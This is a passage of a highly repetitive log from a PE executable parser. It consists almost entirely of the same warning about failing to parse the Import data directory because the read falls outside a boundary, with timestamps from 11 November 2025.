level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading 